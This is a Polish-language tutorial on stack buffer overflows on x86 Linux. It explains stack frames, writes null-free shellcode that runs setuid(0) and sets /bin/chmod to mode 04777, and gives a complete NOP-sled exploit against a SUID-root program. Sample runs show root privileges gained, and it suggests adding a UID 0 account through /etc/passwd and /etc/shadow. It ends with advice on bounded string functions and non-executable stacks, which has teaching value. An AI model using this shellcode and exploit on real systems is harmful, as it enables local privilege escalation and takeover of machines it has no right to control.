------------------------------------------------------------------------------- DISCOVERING BUFFER OVERFLOWS by r3b00t ------------------------------------------------------------------------------- Dokument ten ma za zadanie uswiadomic tym, ktorzy chca byc uswiadomieni czym jest przepelnienie bufora, na jakiej zasadzie to dziala i ew. w jaki sposob to wykorzystac. Wszystkie programy napisane sa w C, kompilowane w systemie Linux kompilatorem gcc na procku kompatybilnym z Intel x86, czyli AMD ;-) Aby dobrze zrozumiec informacje tu zawarte niezbedna jest umiejetnosc obslugi systemu Linux, programowania w jezyku C, podstawy assemblera oraz chec nauczenia sie czegos nowego. Buffer overflow, czyli przepelnienie bufora zachodzi wowczas gdy chcemy wpakowac do bufora wiecej danych niz moze on pomiescic. Dane ktore nie mieszcza sie w buforze nadpisuja stos. Teraz rodzi sie pytanie czym jest stos? Stos jest to ciagly blok pamieci. Jego dno (poczatek) ma zawsze staly adres. Rozmiar stosu jest zmieniany w czasie wykonywania przez jadro systemu. Stos mozna porownac do stosu talerzy, do ktorego doklada sie nowe talerze wylacznie z gory i z ktorego pobiera sie talerze rowniez tylko z gory. Tak wiec ostatni obiekt polozony na stosie bedzie pierwszym jaki bedzie z niego zdjety. Procesor zawiera instrukcje PUSH aby polozyc cos na wieszcholek stosu, oraz POP aby cos z niego zdjac. Stos moze rosnac "w dol" (nizsze adresy pamieci) lub "w gore". W procesorach Intela i z nim kompatybilnych stos rosnie w kierunku nizszych adresow pamieci. Wskaznik stosu ESP (Extended Stack Pointer), przechowywany w 32 bitowym rejestrze, wskazuje adres wierzcholka stosu. Rejestry sa kilkubajtowa pamiecia wbudowana do procesora do ktorych ma on bardzo szybki dostep. Wiekszosc rejestrow moze byc modyfikowana, czyli mozemy je porownac do zmiennych. Wlasciwosc rejestru ESP zostanie wykorzystana w dalszej czesci tego dokumentu. Kazdy proces w pamieci sklada sie z trzech segmentow: Text, Data oraz Stack. wyzsze adresy pamieci +-------------------+ | STACK | +-------------------+ | DATA | +-------------------+ | TEXT | +-------------------+ nizsze adresy pamieci W sklad segmentu textu wchodza intrukcje programu i dane tylko do odczytu. Zapis do tego segmentu wywola blad segmentacji. Segment danych zawiera zainicjowane i niezainicjowane zmienne programu: int i; /* umieszczona zostanie w czesci zmiennych niezainicjowanych */ int i = 1; /* ta natomiast w czesci zmiennych zainicjowanych */ Rozmiar segmentu danych w zaleznosci od potrzeb moze zostac zmieniony. Wlasciwosci stosu zostaly juz omowione wyzej. Teraz interesuje nas co zawiera ten segment. Jezyki wysokiego poziomu takie jak C opieraja sie w znacznej mierze na procedurach i funkcjach. Kiedy funkcja przejmuje kontrole na stosie kladziona jest ramka stosu, ktora zawiera zmienne lokalne, parametry dla funkcji, adres powrotny EIP (Extended Intruction Pointer) oraz dane potrzebne do odtworzenia poprzedniej ramki. Na poczatku kodu kazdej funkcji znajduja sie dwie charakterystyczne instrukcje zwane "prologiem funkcji" badz tez "ustawianiem ram stosu": push %ebp mov %esp,%ebp Prolog funkcji ma za zadanie zachowanie "starego" ESP, aby po zakonczeniu pracy funkcji mogl byc odtworzony. Najpierw umieszczany jest na stosie EBP, a nastepnie kopiowany jest do niego ESP. Kiedy funkcja "powraca", adres z EBP jest z powrotem kopiowany do ESP, a EBP zdejmowany jest ze stosu. int function() { int i; /* zmienna ta zostanie umieszczona na stosie podczas wykonywania */ /* funkcji, a po jej zakonczeniu zostanie ze stosu usunieta */ for (i = 0; i < 16; i++) printf("%d\n", i); } Jesli podczas wykonywania funkcji nastapi przepelnienie bufora dane nadpisza stos i bardzo mozliwe ze EIP (adres gdzie funkcja ma przekazac kontrole). Kiedy funkcja zakonczy prace odczytany zostanie EIP, ktory zostal zamieniony na falszywy i program skoczy do innego adresu pamieci. Na ekranie prawdopodobnie zobaczymy napis "Segmentation fault". Adresy powrotne przechowuje sie na stosie za pomoca rozkazow skoku CALL. Powrot do przerwanego programu glownego realizuje sie za pomoca rozkazu RET. Najprostszy przyklad pokazujacy jak wyglada przepelnienie bufora, znajduje sie ponizej. Skompiluj i uruchom. ---CUT--- /* prog.c - prosty przyklad przepelnienia bufora */ #include void function(char *arg) { char small_buff[64]; strcpy(small_buff, arg); } int main() { char large_buff[128]; int i; for (i = 0; i < 128; i++) large_buff[i] = '\x78'; /* znak 'x' */ function(large_buff); } ---CUT--- Widac tutaj ze funkcja function() kopiuje dwa razy wiekszy large_buff[] do small_buff[] uzywajac strcpy() zamiast bezpieczniejszej strncpy(). Zobaczmy co sie stanie gdy uruchomimy ten program: [r3b00t@osiris r3b00t]$ gcc prog.c -o prog [r3b00t@osiris r3b00t]$ gdb -q prog (gdb) run Starting program: /home/r3b00t/prog Program received signal SIGSEGV, Segmentation fault. 0x78787878 in ?? () (gdb) info registers ebp eip ebp 0x78787878 0x78787878 eip 0x78787878 0x78787878 Tak jak zalozylismy. EIP zostal nadpisany przez dane z bufora large_buff[]. large_buff[] zawiera same znaki 'x', poniewaz 'x' w hexach to 0x78, tak wiec EIP zmienil wartosc na 0x78787878. Adres ten wskazuje na komorke poza przestrzenia adresowa procesu 'prog', wiec kiedy chce odczytac nastepna instrukcje, wywala nam "Segmentation fault". Sprawdzmy co sie stanie gdy zastosujemy zamiast funkcji strcpy() jej bezpieczny odpowiednik strncpy(). Ponizej poprzedni kod tylko lekko poprawiony: ---CUT--- #include void function(char *arg) { char small_buff[64]; strncpy(small_buff, arg, sizeof(small_buff)); } int main() { char large_buff[128]; int i; for (i = 0; i < 128; i++) large_buff[i] = '\x78'; function(large_buff); } ---CUT--- [r3b00t@osiris r3b00t]$ gcc prog.c -o prog [r3b00t@osiris r3b00t]$ ./prog [r3b00t@osiris r3b00t]$ Jak widac strncpy() pozwolila na skopiowanie tylko 64 bajtow danych z tablicy large_buff[] co uchronilo nas przed nadpisaniem danych na stosie. Przekonalismy sie ze przy pomocy prostego programu jestesmy w stanie zmienic EIP. Daje nam to mozliwosc skoczenia do miejsca w pamieci gdzie znajduje sie "podrzucony" przez nas kod, ktory chcemy wykonac. Nalezy jednak pamietac ze owy kod musi sie znajdowac w przestrzeni adresowej procesu, aby ponownie nie otrzymac bledu segmentacji. Kod ktory chcemy podrzucic nosi nazwe shellcode, poniewaz ma za zadanie uruchomic dla nas powloke z ktorej dalej mozemy wykonywac inne programy. Shellcode moze byc przechowywany w zwyklym buforze znakowym - sa to gotowe do wykonania instrukcje. Wraz ze zmiana systemu czy architektury, bedziemy musieli stosowac inny shellcode. Napiszemy shellcode ktory nada odpowiednie prawa dostepu dla /bin/chmod tym samym umozliwiajac nam przejecie kontroli nad systemem: ---CUT--- #include int main() { /* -rwsrwxrwx */ chmod("//bin//chmod", 04777); return 0; } ---CUT--- [r3b00t@osiris r3b00t]$ gcc chmod.c -static [r3b00t@osiris r3b00t]$ gdb -q a.out Dump of assembler code for function main: 0x80481c0
: push %ebp 0x80481c1 : mov %esp,%ebp 0x80481c3 : sub $0x8,%esp 0x80481c6 : add $0xfffffff8,%esp 0x80481c9 : push $0x9ff 0x80481ce : push $0x808c8c8 0x80481d3 : call 0x804c180 <__chmod> 0x80481d8 : add $0x10,%esp 0x80481db : xor %eax,%eax 0x80481dd : jmp 0x80481e0 0x80481df : nop 0x80481e0 : leave 0x80481e1 : ret End of assembler dump. (gdb) disas chmod Dump of assembler code for function __chmod: 0x804c180 <__chmod>: mov %ebx,%edx 0x804c182 <__chmod+2>: mov 0x8(%esp,1),%ecx 0x804c186 <__chmod+6>: mov 0x4(%esp,1),%ebx 0x804c18a <__chmod+10>: mov $0xf,%eax 0x804c18f <__chmod+15>: int $0x80 0x804c191 <__chmod+17>: mov %edx,%ebx 0x804c193 <__chmod+19>: cmp $0xfffff001,%eax 0x804c198 <__chmod+24>: jae 0x8051a50 <__syscall_error> 0x804c19e <__chmod+30>: ret End of assembler dump. (gdb) x/s 0x808c8c8 0x808c8c8 <_IO_stdin_used+4>: "//bin//chmod" (gdb) q Oto czego potrzebujemy aby napisac nasz shellcode: - wartosc 0x9ff (rowna 04777 oct) w rejestrze ECX - ciag "//bin//chmod" umieszczony gdzies w pamieci - adres do ciagu "//bin//chmod" w rejestrze EBX - wartosc 0xf w EAX (numer wywolania systemowego dla chmod) - wywolac przerwanie 0x80 aby przejsc w tryb jadra Musimy pamietac ze gotowy shellcode nie moze zawierac znaku '\0' ktory oznacza koniec bufora, inaczej nasz shellcode zostanie "uciety" w czasie kopiowania. ---CUT--- main() { __asm__(" xorl %edx,%edx movw $0x9ff,%cx pushl %edx pushl $0x646f6d68 pushl $0x632f2f6e pushl $0x69622f2f mov %esp,%ebx movb $0xf,%al int $0x80 "); } ---CUT--- Powyzszy kod to shellcode w postaci gotowych instrukcji, ale o co chodzi? xorl %edx,%edx Zerujemy rejestr EDX (koniecznie xorl aby uniknac znakow '\0'). movw $0x9ff,%cx Umieszczamy wartosc 0x9ff w CX. pushl %edx pushl $0x646f6d68 pushl $0x632f2f6e pushl $0x69622f2f Umieszczamy na stosie ciag "//bin//chmod" (zauwaz ze w odwrotnej kolejnosci) zakonczony '\0\0\0\0' (EDX ma taka wartosc). mov %esp,%ebx Kopiujemy adres wierzcholka stosu (z rejestru ESP) do rejestru EBX poniewaz rejestr ESP zawiera teraz adres ciagu "//bin//chmod". movb $0xf,%al Umieszczamy wartosc 0xf w rejestrze AL (EAX), ktora odpowiada numerowi syscall chmod() z pliku /usr/src/linux/include/asm-i386/unistd.h #define __NR_chmod 15 int $0x80 Wywolujemy przerwanie 0x80 aby przejsc w tryb jadra (wykonac nasze intrukcje). Dobrze, teraz przetlumaczmy intrukcje na gotowy do wykonania kod binarny. [r3b00t@osiris r3b00t]$ gcc chmodasm.c -static [r3b00t@osiris r3b00t]$ objdump -d a.out |grep -A 16 \ 080481c0
: 80481c0: 55 push %ebp 80481c1: 89 e5 mov %esp,%ebp 80481c3: 31 d2 xor %edx,%edx 80481c5: 66 b9 ff 09 mov $0x9ff,%cx 80481c9: 52 push %edx 80481ca: 68 68 6d 6f 64 push $0x646f6d68 80481cf: 68 6e 2f 2f 63 push $0x632f2f6e 80481d4: 68 2f 2f 62 69 push $0x69622f2f 80481d9: 89 e3 mov %esp,%ebx 80481db: b0 0f mov $0xf,%al 80481dd: cd 80 int $0x80 80481df: b0 01 mov $0x1,%al 80481e1: cd 80 int $0x80 80481e3: c9 leave 80481e4: c3 ret 80481e5: 90 nop Tak ostatecznie wyglada nasz shellcode po dodaniu kodu dla setuid(0). Przy okazji otrzymalismy takze kod binarny dla exit(): 80481df: b0 01 mov $0x1,%al 80481e1: cd 80 int $0x80 ---CUT--- /* x86/linux shellcode by r3b00t */ char shellcode[] = /* setuid(0) */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* chmod("/bin/chmod", 04777) */ "\x31\xd2" /* xor %edx,%edx */ "\x66\xb9\xff\x09" /* mov $0x9ff,%cx */ "\x52" /* push %edx */ "\x68\x68\x6d\x6f\x64" /* push $0x646f6d68 */ "\x68\x6e\x2f\x2f\x63" /* push $0x632f2f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\xb0\x0f" /* mov $0xf,%al */ "\xcd\x80" /* int $0x80 */ /* exit() */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80" /* int $0x80 */ ; int main() { void (*f)() = (void*)shellcode; f(); return 0; } ---CUT--- Przykladowy program, podatny na przepelnienie bufora z uzyciem strcpy(). Zakladamy ze binaria maja ustawiony bit SUID, wlascicielem jest root oraz ze mamy prawa do wykonywania. ---CUT--- /* target.c */ #include void destruction(char *arg) { char buffer[512]; strcpy(buffer, arg); } int main(int argc, char *argv[]) { if (argc > 1) destruction(argv[1]); } ---CUT--- [r3b00t@osiris r3b00t]$ ls -al target -rwsr-x--x 1 root root 14114 Nov 21 20:43 target* Wystarczy, ze *argv[1] bedzie dluzsze od tablicy buffer[]. Kiedy destruction() bedzie "wracac", odczyta podmieniony przez nas adres powrotny. Sprobujemy napisac exploit, ktory przyzna nam powloke. Podsumujmy nasze wiadomosci: - shellcode musi byc czescia bufora, ktory przepelniamy, aby znalazl sie w pamieci i mogl byc wykonany - przepelniany bufor wypelniony bedzie ponadto adresem do ktorego chcemy "skoczyc", a ktory wskazuje do naszego kodu (mamy nadzieje ze ta czesc bufora nadpisze EIP) - dane ktorymi przepelniamy bufor musza byc od niego odpowiednio dluzsze - musimy znac dokladny adres shellcode w pamieci :/ Sprawdzmy jaka dlugosc musi miec ciag znakow (*argv[1]) przekazany do naszego podatnego programu, aby mozliwe bylo nadpisanie EIP. [r3b00t@osiris r3b00t]$ gcc -g target.c -o target [r3b00t@osiris r3b00t]$ gdb -q target (gdb) disassemble main Dump of assembler code for function main: 0x8048414
: push %ebp 0x8048415 : mov %esp,%ebp 0x8048417 : sub $0x8,%esp 0x804841a : cmpl $0x1,0x8(%ebp) 0x804841e : jle 0x8048434 0x8048420 : add $0xfffffff4,%esp 0x8048423 : mov 0xc(%ebp),%eax 0x8048426 : add $0x4,%eax 0x8048429 : mov (%eax),%edx 0x804842b : push %edx 0x804842c : call 0x80483f0 0x8048431 : add $0x10,%esp 0x8048434 : leave 0x8048435 : ret End of assembler dump. (gdb) disassemble destruction Dump of assembler code for function destruction: 0x80483f0 : push %ebp 0x80483f1 : mov %esp,%ebp 0x80483f3 : sub $0x208,%esp 0x80483f9 : add $0xfffffff8,%esp 0x80483fc : mov 0x8(%ebp),%eax 0x80483ff : push %eax 0x8048400 : lea 0xfffffe00(%ebp),%eax 0x8048406 : push %eax 0x8048407 : call 0x8048300 0x804840c : add $0x10,%esp 0x804840f : leave 0x8048410 : ret End of assembler dump. (gdb) q Interesuje nas pierwsza intrukcja po prologu destruction(): "sub $0x208,%esp". Przydziela ona przestrzen na stosie rowna 0x208 czyli 520 bajtow. To wartosc wystarczajaca aby nadpisac EIP naszym adresem. Zobaczmy jak wyglada segment stosu po wywolaniu funkcji destruction() (po uzyciu exploita): +------------+ | . | | . | | . | |___*arg_____| EBP+524 |____EIP_____| EBP+4 |____EBP_____| EBP (zachowany ESP) |__buffer[]__| EBP-512 | . | | . | | . | +------------+ Kiedy skopiujemy do zmiennej buffer[] o 4 bajty danych za duzo (512 + 4 = 516), nadpiszemy EBP. Jesli skopiujemy o 8 bajtow danych za duzo (512 + 8 = 520) to nadpiszemy EBP i EIP czyli zmienimy adres powrotny funkcji. Dlatego ciag znakow ktory przekazemy do naszego podatnego programu bedzie mial dlugosc 520 bajtow. Instrukcja "sub $0x208,%esp" przydzielila przestrzen na stosie dla zmiennej buffer[] oraz 32 bitowych EBP i ESP co lacznie daje wlasnie 520 bajtow. *argv[1] ktory podamy progsowi 'target' wyglada mniej-wiecej w ten sposob: [S] = shellcode [A] = nowy "adres powrotny" +----------------------------------------+ |SSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA| +----------------------------------------+ Pozostaje problem z adresem shellcode w pamieci. Adres ten bedzie wskazywal gdzies niedaleko ESP naszego exploita. Mozemy probowac odejmowac od niego pewne wartosci w nadziei, ze pod wynikiem naszego dzialania znajdziemy nasz kod. W zaleznosci od tego jak duzo danych jest na stosie, musimy wykonac kilkaset strzalow aby trafic w ten wlasciwy. Jest jednak sposob, aby znacznie zwiekszyc szanse. Wykorzystamy instrukcje NOP. Na pewno ja zauwazyles podczas pracy z gdb [r3b00t@osiris r3b00t]$ gdb -q prog (gdb) disassemble main Dump of assembler code for function main: 0x804840c
: push %ebp 0x804840d : mov %esp,%ebp 0x804840f : sub $0x98,%esp 0x8048415 : nop 0x8048416 : movl $0x0,0xffffff7c(%ebp) 0x8048420 : cmpl $0x7f,0xffffff7c(%ebp) 0x8048427 : jbe 0x8048430 0x8048429 : jmp 0x8048445 0x804842b : nop 0x804842c : lea 0x0(%esi,1),%esi 0x8048430 : lea 0xffffff80(%ebp),%eax 0x8048433 : mov 0xffffff7c(%ebp),%edx 0x8048439 : movb $0x78,(%edx,%eax,1) 0x804843d : incl 0xffffff7c(%ebp) 0x8048443 : jmp 0x8048420 0x8048445 : add $0xfffffff4,%esp 0x8048448 : lea 0xffffff80(%ebp),%eax 0x804844b : push %eax 0x804844c : call 0x80483f0 0x8048451 : add $0x10,%esp 0x8048454 : leave 0x8048455 : ret 0x8048456 : nop 0x8048457 : nop 0x8048458 : nop 0x8048459 : nop 0x804845a : nop 0x804845b : nop 0x804845c : nop 0x804845d : nop 0x804845e : nop 0x804845f : nop End of assembler dump. (gdb) q Instrukcja ta nic nie robi i jest idealnym "wypelniaczem". Ma dlugosci jednego bajta i jej wartosc w hexach wynosi 0x90. Zapelnimy nasz bufor do polowy intrukcjami NOP, dalej umiescimy shellcode, a nastepnie zapelnimy adresem, ktorym nadpiszemy EIP na stosie. Im wiekszy przepeleniany bufor tym lepiej, poniewaz mozemy wpakowac wiecej instrukcji NOP. *argv[1] bedzie wygladal teraz w ten sposob: [N] = instrukcja NOP 0x90 [S] = shellcode [A] = nowy "adres powrotny" +----------------------------------------+ |NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSAA| +----------------------------------------+ Teraz wystarczy tylko trafic w obszar pamieci gdzie znajduja sie instrukcje NOP, co zwiekszy nasze szanse 472 razy (dlugosc bufora 520b - dlugosc shellcode 40b - miejsce zajmowane przez kopie EBP i EIP na stosie 8b). Intrukcje NOP beda wykonywane, az dojdziemy do naszego kodu. Ponizej zrodlo exploita: ---CUT--- #include #include #define BUFF_SIZE 520 char shellcode[] = /* setuid(0) */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\xb0\x17" /* mov $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* chmod("/bin/chmod", 04777) */ "\x31\xd2" /* xor %edx,%edx */ "\x66\xb9\xff\x09" /* mov $0x9ff,%cx */ "\x52" /* push %edx */ "\x68\x68\x6d\x6f\x64" /* push $0x646f6d68 */ "\x68\x6e\x2f\x2f\x63" /* push $0x632f2f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\xb0\x0f" /* mov $0xf,%al */ "\xcd\x80" /* int $0x80 */ /* exit() */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80" /* int $0x80 */ ; unsigned long get_esp() { __asm__ ("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buffer[BUFF_SIZE]; int offset, i; /* jesli uruchomimy exploit z parametrem ustaw offset */ if (argc==2) offset = atoi(argv[1]); /* w innym przypadku offset = 0 */ else offset = 0; /* wyswietl adres ktorym nadpiszemy EIP */ printf("RET address: 0x%x\n", get_esp() + offset); /* wypelnij bufor adresem do ktorego skoczymy po powrocie z funkcji */ for (i = 0; i < BUFF_SIZE; i += 4) *(long *)&buffer[i] = get_esp() + offset; /* wypelnij bufor instrukcjami NOP (520-40-8) */ memset(buffer, 0x90, sizeof(buffer) - strlen(shellcode) - 8); /* wypelnij bufor kodem w miejscu gdzie koncza sie intrukcje NOP */ memcpy(buffer + sizeof(buffer) - strlen(shellcode) - 8, shellcode, strlen(shellcode)); /* uruchom podatny program z parametrem ktorym bedzie nasz bufor */ execl("./target", "target", buffer, 0); return 0; } ---CUT--- Nasz exploit pobiera jako parametr offset od ESP naszego exploita - dzieki temu wyliczy adres powrotny wskazujacy gdzies do ciagu intrukcji NOP, czyli do naszego shellcode. [r3b00t@osiris r3b00t]$ gcc exploit.c -o exploit [r3b00t@osiris r3b00t]$ ./exploit ET address: 0xbffff744 Floating point exception [r3b00t@osiris r3b00t]$ ./exploit 100 RET address: 0xbffff798 Illegal instruction [r3b00t@osiris r3b00t]$ ./exploit 200 RET address: 0xbffff7fc Illegal instruction [r3b00t@osiris r3b00t]$ ./exploit 300 RET address: 0xbffff860 Segmentation fault [r3b00t@osiris r3b00t]$ ./exploit 400 RET address: 0xbffff8c4 Segmentation fault [r3b00t@osiris r3b00t]$ ./exploit 500 RET address: 0xbffff928 [r3b00t@osiris r3b00t]$ ls -al /bin/chmod -rwsrwxrwx 1 root bin 17444 May 28 2002 /bin/chmod* [r3b00t@osiris r3b00t]$ Exploit zadzial. Teraz wszystko zalezy od naszej wyobrazni. Dla przykladu mozemy dodac nowego uzytkownika z UID 0 poprzez nadanie sobie praw do odczytu i zapisu /etc/passwd oraz /etc/shadow. Oto nazwy funkcji do kopiowania, dodawania, pobierania ciagow znakowych bez sprawdzania granic: strcpy(), strcat(), gets(), sprintf(), scanf(). Niebezpieczne moga byc takze funkcje getc(), getchar(), fgetc() jesli stosowane sa w petlach (do bufora czytane sa znaki az do konca linii lub innej granicy). Powstalo wiele propozycji zapobiegnia przepelnieniom bufora: modyfikacja kompilatora C, losowe liczby przed EIP, programy kontrolujace zmienne srodowiskowe i argumenty. Wszystkie one maja przynajmniej jedna powazna wade: spowolnione dzialanie programu. Najlepszym rozwiazaniem wydaje sie wiec pisanie bezpiecznych i poprawnych programow. Pisac bezpieczne programy znaczy korzystac z funkcji, ktore sprawdzaja rozmiar bufora na ktorym operuja np. strncpy() czy snprintf(). Jednak uzywanie bezpiecznych funkcji nie gwarantuje jeszcze bezpieczenstwa calego programu - trzeba przy tym zachowac duza ostroznosc, a niewatpliwie jest to trudne. Warto tez wspomniec o "Non-executable stack" patch do kernela, ktorego autorem jest Solar Designer. Patch ten - jak sama nazwa wskazuje - blokuje mozliwosc wykonywania intrukcji w segmencie stosu. Niestety (albo na szczescie - jak kto woli) znaleziono kilka sposobow na obejscie tego zabezpieczenia. Segmentation fault